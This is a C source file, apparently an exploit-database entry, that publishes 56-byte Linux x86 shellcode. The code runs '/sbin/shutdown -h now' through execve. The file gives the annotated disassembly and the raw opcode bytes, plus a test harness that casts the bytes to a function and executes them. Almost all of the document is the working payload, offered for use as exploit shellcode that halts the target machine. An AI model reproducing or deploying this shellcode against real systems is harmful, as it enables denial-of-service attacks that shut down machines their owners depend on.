54 lines
No EOL
1.7 KiB
C
54 lines
No EOL
1.7 KiB
C
/*
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; Title: shutdown -h now Shellcode - 56 bytes
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; Date: 2014-06-27
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; Platform: linux/x86
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; Author: Osanda Malith Jayathissa (@OsandaMalith)
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Disassembly of section .text:
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08048060 <_start>:
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8048060: 31 c0 xor eax,eax
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8048062: 31 d2 xor edx,edx
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8048064: 50 push eax
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8048065: 66 68 2d 68 pushw 0x682d
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8048069: 89 e7 mov edi,esp
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804806b: 50 push eax
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804806c: 6a 6e push 0x6e
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804806e: 66 c7 44 24 01 6f 77 mov WORD PTR [esp+0x1],0x776f
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8048075: 89 e7 mov edi,esp
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8048077: 50 push eax
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8048078: 68 64 6f 77 6e push 0x6e776f64
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804807d: 68 73 68 75 74 push 0x74756873
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8048082: 68 6e 2f 2f 2f push 0x2f2f2f6e
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8048087: 68 2f 73 62 69 push 0x6962732f
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804808c: 89 e3 mov ebx,esp
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804808e: 52 push edx
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804808f: 56 push esi
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8048090: 57 push edi
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8048091: 53 push ebx
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8048092: 89 e1 mov ecx,esp
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8048094: b0 0b mov al,0xb
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8048096: cd 80 int 0x80
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char code[] = "\x31\xc0\x31\xd2\x50\x66\x68\x2d"
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"\x68\x89\xe7\x50\x6a\x6e\x66\xc7"
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"\x44\x24\x01\x6f\x77\x89\xe7\x50"
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"\x68\x64\x6f\x77\x6e\x68\x73\x68"
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"\x75\x74\x68\x6e\x2f\x2f\x2f\x68"
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"\x2f\x73\x62\x69\x89\xe3\x52\x56"
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"\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
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int
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main() {
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printf("Shellcode Length: %d\n", (int)strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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return 0;
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} |